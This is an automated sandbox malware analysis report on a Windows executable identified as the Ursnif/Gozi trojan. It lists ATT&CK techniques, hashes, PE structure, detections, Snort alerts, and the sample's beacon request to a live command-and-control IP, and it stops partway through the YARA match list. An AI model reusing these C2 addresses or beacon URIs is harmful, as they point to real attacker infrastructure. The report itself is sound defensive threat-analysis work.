Valid Accounts	2 Windows Management Instrumentation	Path Interception	Path Interception	11 Virtualization/Sandbox Evasion	1 Input Capture	1 System Time Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	12 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Obfuscated Files or Information	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	21 Software Packing	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	12 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Account Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	124 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Link
server.exe	33%	ReversingLabs
server.exe	46%	Virustotal	Browse
server.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.server.exe.790000.2.unpack	100%	Avira	HEUR/AGEN.1245293		Download File
0.2.server.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen7		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://62.173.142.81/drew/jYbXWzWzJZxMu/0bg7r4Fu/6FNvR8ClwgmU3K9eRFHwCZL/V4EUt2dyR_/2FQulKxQ_2Fze8eK3/SMO5Yl_2BPuQ/_2B49snui7_/2FLOe3Ko6as8fp/MUgDOSfZU6Dpa1I7o0j5G/VqQD_2Bumqn4Myfm/_2BQL_2BhR1HszY/TocLn3p8sVmtowm_2B/6OTZGgFfO/9qQJL2OyxO9xGC6r3J84/1Hw_2BXN3URNn_2FRiR/XmeYSNTVgprtLxVnjmtt4h/zq1_2FWGL3ouV/wUq7EqUY/xzZwPH0P8XChlht1ulV1_2F/xZqgBgTuj5/XO.jlk	0%	Avira URL Cloud	safe
http://62.173.142.81/	0%	Avira URL Cloud	safe
http://62.173.142.81/drew/jYbXWzWzJZxMu/0bg7r4Fu/6FNvR8ClwgmU3K9eRFHwCZL/V4EUt2dyR_/2FQulKxQ_2Fze8eK	0%	Avira URL Cloud	safe
http://62.173	0%	Virustotal		Browse
http://62.173.142.81/	3%	Virustotal		Browse
http://62.173	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
checklist.skype.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://62.173.142.81/drew/jYbXWzWzJZxMu/0bg7r4Fu/6FNvR8ClwgmU3K9eRFHwCZL/V4EUt2dyR_/2FQulKxQ_2Fze8eK3/SMO5Yl_2BPuQ/_2B49snui7_/2FLOe3Ko6as8fp/MUgDOSfZU6Dpa1I7o0j5G/VqQD_2Bumqn4Myfm/_2BQL_2BhR1HszY/TocLn3p8sVmtowm_2B/6OTZGgFfO/9qQJL2OyxO9xGC6r3J84/1Hw_2BXN3URNn_2FRiR/XmeYSNTVgprtLxVnjmtt4h/zq1_2FWGL3ouV/wUq7EqUY/xzZwPH0P8XChlht1ulV1_2F/xZqgBgTuj5/XO.jlk	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://checklist.skype.com/drew/atXnm1oMbB5L4Ntl5FgyfO/iEVslQ74abg_2/FW6J1whk/ejMAXerGRdbDd_2FjU9B8H	server.exe, 00000000.00000002.523636233.0000000000846000.00000004.00000020.00020000.00000000.sdmp	false		high
http://62.173.142.81/drew/jYbXWzWzJZxMu/0bg7r4Fu/6FNvR8ClwgmU3K9eRFHwCZL/V4EUt2dyR_/2FQulKxQ_2Fze8eK	server.exe, 00000000.00000002.523636233.0000000000873000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.173.142.81/	server.exe, 00000000.00000002.523636233.0000000000873000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000000.00000002.523636233.0000000000846000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://62.173	server.exe, 00000000.00000002.523884713.000000000285C000.00000004.00000010.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	low
http://checklist.skype.com/	server.exe, 00000000.00000002.523636233.0000000000846000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checklist.skype.com/drew/atXnm1oMbB5L4Ntl5Fgy	server.exe, 00000000.00000002.523636233.0000000000873000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.173.142.81	unknown	Russian Federation		34300	SPACENET-ASInternetServiceProviderRU	true

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830504
Start date and time:	2023-03-20 12:52:20 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	server.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 53.3% (good quality ratio 51.9%) Quality average: 82.1% Quality standard deviation: 26.5%
HCA Information:	Successful, ratio: 98% Number of executed functions: 41 Number of non-executed functions: 32
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
62.173.142.81	server_(3).exe	Get hash	malicious	Ursnif	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPACENET-ASInternetServiceProviderRU	server_(3).exe	Get hash	malicious	Ursnif	Browse	62.173.142.81
	gozi_loader.bin.exe	Get hash	malicious	Ursnif	Browse	62.173.141.252
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.142.51
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.142.51
	KOYCdGz80D.exe	Get hash	malicious	Ursnif	Browse	62.173.142.51
	server.exe	Get hash	malicious	Ursnif, CryptOne	Browse	62.173.142.51
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.142.51
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.142.51
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.142.51
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.140.236
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.140.236
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.140.236
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.141.36
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.141.36
	lQj2udnlAj.exe	Get hash	malicious	Ursnif	Browse	62.173.141.36
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.141.36
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.138.6
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.138.6
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.138.6
	server.exe	Get hash	malicious	Ursnif	Browse	62.173.140.103

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.799237390766865
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	server.exe
File size:	181248
MD5:	7e7372ed34c76cbeca4461bd6dbbfe62
SHA1:	5825f7a6272108b061a557171da9b8ef6b780028
SHA256:	0fa7c98d793b8c71d6ba29bde4fd449e497b246f92ab30403330fae3d8cb6ffd
SHA512:	2548449b2e5e623600ab080a8213df3164bee0fa9e4690a31c8aac45f856fb7a786dbfc5150202757fe3512ad0d25afc8f635ba67ab08f778c51a9ebb461e284
SSDEEP:	3072:iN5tPqqyTcVsXaHJNM1NjtJMD1U85En8d/LZM:MlqJPaHihCm85En81Z
TLSH:	2C049EC3A3907865F0158A368E2EC1F4670DF9D2CE59AB66E3186F2F48BC1A2D563711
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............f.Q.f.Q.f.Q...Q.f.Q..4Q.f.Q...Q.f.Q..9Q.f.Q.f.Q.f.Q...Q.f.Q..0Q.f.Q..7Q.f.QRich.f.Q........PE..L....b.b...................

File Icon


Icon Hash:	9a821a4a8592a282

Static PE Info

General

Entrypoint:	0x402f31
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62DB62AE [Sat Jul 23 02:53:34 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2bf4bd16bd9a3948cc472dde1e8c8ccd

Entrypoint Preview

Instruction
call 00007FF65CB75C00h
jmp 00007FF65CB7322Eh
mov eax, 0040D008h
ret
mov eax, dword ptr [0049D540h]
push esi
push 00000014h
pop esi
test eax, eax
jne 00007FF65CB733A9h
mov eax, 00000200h
jmp 00007FF65CB733A8h
cmp eax, esi
jnl 00007FF65CB733A9h
mov eax, esi
mov dword ptr [0049D540h], eax
push 00000004h
push eax
call 00007FF65CB75CAEh
pop ecx
pop ecx
mov dword ptr [0049C520h], eax
test eax, eax
jne 00007FF65CB733C0h
push 00000004h
push esi
mov dword ptr [0049D540h], esi
call 00007FF65CB75C95h
pop ecx
pop ecx
mov dword ptr [0049C520h], eax
test eax, eax
jne 00007FF65CB733A7h
push 0000001Ah
pop eax
pop esi
ret
xor edx, edx
mov ecx, 0040D008h
jmp 00007FF65CB733A7h
mov eax, dword ptr [0049C520h]
mov dword ptr [edx+eax], ecx
add ecx, 20h
add edx, 04h
cmp ecx, 0040D288h
jl 00007FF65CB7338Ch
push FFFFFFFEh
pop esi
xor edx, edx
mov ecx, 0040D018h
push edi
mov eax, edx
sar eax, 05h
mov eax, dword ptr [0049C420h+eax*4]
mov edi, edx
and edi, 1Fh
shl edi, 06h
mov eax, dword ptr [edi+eax]
cmp eax, FFFFFFFFh
je 00007FF65CB733AAh
cmp eax, esi
je 00007FF65CB733A6h
test eax, eax
jne 00007FF65CB733A4h
mov dword ptr [ecx], esi
add ecx, 20h
inc edx
cmp ecx, 0040D078h
jl 00007FF65CB73370h
pop edi
xor eax, eax
pop esi
ret
call 00007FF65CB739B6h
cmp byte ptr [00000000h], 00000000h

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb84c	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9f000	0xdaf0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2b08	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x19c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb1ae	0xb200	False	0.5147033005617978	data	6.020837660539205	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xd000	0x9054c	0x13000	False	0.9465589021381579	data	7.853280851360385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.xesof	0x9e000	0x96	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x9f000	0xdaf0	0xdc00	False	0.41329900568181815	data	4.474423213582852	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0xab598	0x2	data
TONIZITOHOWAPEVUMOBEM	0xaaea0	0x598	ASCII text, with very long lines (1432), with no line terminators	Sami Lappish	Finland
TONIZITOHOWAPEVUMOBEM	0xaaea0	0x598	ASCII text, with very long lines (1432), with no line terminators	Sami Lappish	Norway
TONIZITOHOWAPEVUMOBEM	0xaaea0	0x598	ASCII text, with very long lines (1432), with no line terminators	Sami Lappish	Sweden
RT_CURSOR	0xab5a0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0
RT_CURSOR	0xab6d0	0xf0	Device independent bitmap graphic, 24 x 48 x 1, image size 0
RT_CURSOR	0xab7c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0
RT_ICON	0x9f680	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Sami Lappish	Finland
RT_ICON	0x9f680	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Sami Lappish	Norway
RT_ICON	0x9f680	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Sami Lappish	Sweden
RT_ICON	0x9ff28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Finland
RT_ICON	0x9ff28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Norway
RT_ICON	0x9ff28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Sweden
RT_ICON	0xa0ff8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Sami Lappish	Finland
RT_ICON	0xa0ff8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Sami Lappish	Norway
RT_ICON	0xa0ff8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Sami Lappish	Sweden
RT_ICON	0xa18a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Sami Lappish	Finland
RT_ICON	0xa18a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Sami Lappish	Norway
RT_ICON	0xa18a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Sami Lappish	Sweden
RT_ICON	0xa3e48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Finland
RT_ICON	0xa3e48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Norway
RT_ICON	0xa3e48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Sweden
RT_ICON	0xa4f20	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Sami Lappish	Finland
RT_ICON	0xa4f20	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Sami Lappish	Norway
RT_ICON	0xa4f20	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Sami Lappish	Sweden
RT_ICON	0xa5dc8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Sami Lappish	Finland
RT_ICON	0xa5dc8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Sami Lappish	Norway
RT_ICON	0xa5dc8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Sami Lappish	Sweden
RT_ICON	0xa6490	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Sami Lappish	Finland
RT_ICON	0xa6490	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Sami Lappish	Norway
RT_ICON	0xa6490	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Sami Lappish	Sweden
RT_ICON	0xa69f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Sami Lappish	Finland
RT_ICON	0xa69f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Sami Lappish	Norway
RT_ICON	0xa69f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Sami Lappish	Sweden
RT_ICON	0xa8fa0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Finland
RT_ICON	0xa8fa0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Norway
RT_ICON	0xa8fa0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Sweden
RT_ICON	0xaa048	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Sami Lappish	Finland
RT_ICON	0xaa048	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Sami Lappish	Norway
RT_ICON	0xaa048	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Sami Lappish	Sweden
RT_ICON	0xaa9d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Sami Lappish	Finland
RT_ICON	0xaa9d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Sami Lappish	Norway
RT_ICON	0xaa9d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Sami Lappish	Sweden
RT_ACCELERATOR	0xab4e0	0x78	data	Sami Lappish	Finland
RT_ACCELERATOR	0xab4e0	0x78	data	Sami Lappish	Norway
RT_ACCELERATOR	0xab4e0	0x78	data	Sami Lappish	Sweden
RT_ACCELERATOR	0xab438	0xa8	data	Sami Lappish	Finland
RT_ACCELERATOR	0xab438	0xa8	data	Sami Lappish	Norway
RT_ACCELERATOR	0xab438	0xa8	data	Sami Lappish	Sweden
RT_GROUP_CURSOR	0xac868	0x30	data
RT_GROUP_ICON	0xa4ef0	0x30	data	Sami Lappish	Finland
RT_GROUP_ICON	0xa4ef0	0x30	data	Sami Lappish	Norway
RT_GROUP_ICON	0xa4ef0	0x30	data	Sami Lappish	Sweden
RT_GROUP_ICON	0xa0fd0	0x22	data	Sami Lappish	Finland
RT_GROUP_ICON	0xa0fd0	0x22	data	Sami Lappish	Norway
RT_GROUP_ICON	0xa0fd0	0x22	data	Sami Lappish	Sweden
RT_GROUP_ICON	0xaae38	0x68	data	Sami Lappish	Finland
RT_GROUP_ICON	0xaae38	0x68	data	Sami Lappish	Norway
RT_GROUP_ICON	0xaae38	0x68	data	Sami Lappish	Sweden
RT_VERSION	0xac898	0x258	data
None	0xab558	0xa	data	Sami Lappish	Finland
None	0xab558	0xa	data	Sami Lappish	Norway
None	0xab558	0xa	data	Sami Lappish	Sweden
None	0xab568	0xa	data	Sami Lappish	Finland
None	0xab568	0xa	data	Sami Lappish	Norway
None	0xab568	0xa	data	Sami Lappish	Sweden
None	0xab578	0xa	data	Sami Lappish	Finland
None	0xab578	0xa	data	Sami Lappish	Norway
None	0xab578	0xa	data	Sami Lappish	Sweden
None	0xab588	0xa	data	Sami Lappish	Finland
None	0xab588	0xa	data	Sami Lappish	Norway
None	0xab588	0xa	data	Sami Lappish	Sweden

Imports

DLL

Import

KERNEL32.dll

PulseEvent, SetDefaultCommConfigA, FindFirstFileW, EnumCalendarInfoA, CopyFileExW, GetConsoleAliasExesA, _llseek, BuildCommDCBAndTimeoutsA, GetConsoleAliasA, GetCurrentProcess, InterlockedCompareExchange, GetWindowsDirectoryA, EnumTimeFormatsA, WriteFileGather, EnumResourceTypesA, ActivateActCtx, GetFirmwareEnvironmentVariableA, LoadLibraryW, Sleep, ReadConsoleInputA, LeaveCriticalSection, GetFileAttributesW, WritePrivateProfileSectionW, TerminateProcess, IsDBCSLeadByte, lstrcmpW, GlobalUnlock, RaiseException, SetCurrentDirectoryA, SetLastError, GetProcAddress, GlobalGetAtomNameA, OpenWaitableTimerA, LocalAlloc, FindFirstVolumeMountPointW, AddAtomA, FindNextFileA, GetModuleHandleA, GetCPInfoExA, SetCalendarInfoA, DeleteFileW, EnumCalendarInfoExA, LocalFree, GetLastError, DeleteFileA, GetCommandLineA, HeapSetInformation, GetStartupInfoW, EnterCriticalSection, SetFilePointer, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, DecodePointer, GetModuleHandleW, ExitProcess, WriteFile, GetModuleFileNameW, GetModuleFileNameA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, InterlockedDecrement, HeapCreate, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, HeapFree, SetStdHandle, GetConsoleCP, GetConsoleMode, FlushFileBuffers, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, HeapAlloc, HeapReAlloc, WriteConsoleW, MultiByteToWideChar, IsProcessorFeaturePresent, LCMapStringW, GetStringTypeW, HeapSize, CloseHandle, CreateFileW

USER32.dll

LoadMenuA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Sami Lappish	Finland
Sami Lappish	Norway
Sami Lappish	Sweden

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.362.173.142.8149699802033204 03/20/23-12:55:03.486730	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49699	80	192.168.2.3	62.173.142.81
192.168.2.362.173.142.8149699802033203 03/20/23-12:55:03.486730	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49699	80	192.168.2.3	62.173.142.81

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 12:55:03.422652960 CET	49699	80	192.168.2.3	62.173.142.81
Mar 20, 2023 12:55:03.486253023 CET	80	49699	62.173.142.81	192.168.2.3
Mar 20, 2023 12:55:03.486366034 CET	49699	80	192.168.2.3	62.173.142.81
Mar 20, 2023 12:55:03.486730099 CET	49699	80	192.168.2.3	62.173.142.81
Mar 20, 2023 12:55:03.549804926 CET	80	49699	62.173.142.81	192.168.2.3
Mar 20, 2023 12:55:03.550898075 CET	80	49699	62.173.142.81	192.168.2.3
Mar 20, 2023 12:55:03.551032066 CET	49699	80	192.168.2.3	62.173.142.81
Mar 20, 2023 12:55:03.553265095 CET	49699	80	192.168.2.3	62.173.142.81
Mar 20, 2023 12:55:03.616254091 CET	80	49699	62.173.142.81	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 12:53:43.233784914 CET	62704	53	192.168.2.3	8.8.8.8
Mar 20, 2023 12:53:43.259754896 CET	53	62704	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2023 12:53:43.233784914 CET	192.168.2.3	8.8.8.8	0xcfa8	Standard query (0)	checklist.skype.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2023 12:53:43.259754896 CET	8.8.8.8	192.168.2.3	0xcfa8	Name error (3)	checklist.skype.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

62.173.142.81

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49699	62.173.142.81	80	C:\Users\user\Desktop\server.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 12:55:03.486730099 CET	336	OUT	GET /drew/jYbXWzWzJZxMu/0bg7r4Fu/6FNvR8ClwgmU3K9eRFHwCZL/V4EUt2dyR_/2FQulKxQ_2Fze8eK3/SMO5Yl_2BPuQ/_2B49snui7_/2FLOe3Ko6as8fp/MUgDOSfZU6Dpa1I7o0j5G/VqQD_2Bumqn4Myfm/_2BQL_2BhR1HszY/TocLn3p8sVmtowm_2B/6OTZGgFfO/9qQJL2OyxO9xGC6r3J84/1Hw_2BXN3URNn_2FRiR/XmeYSNTVgprtLxVnjmtt4h/zq1_2FWGL3ouV/wUq7EqUY/xzZwPH0P8XChlht1ulV1_2F/xZqgBgTuj5/XO.jlk HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: 62.173.142.81 Connection: Keep-Alive Cache-Control: no-cache

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

System Behavior

Analysis Process: server.exePID: 1668, Parent PID: 3452

General

Target ID:	0
Start time:	12:53:17
Start date:	20/03/2023
Path:	C:\Users\user\Desktop\server.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\server.exe
Imagebase:	0x400000
File size:	181248 bytes
MD5 hash:	7E7372ED34C76CBECA4461BD6DBBFE62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, 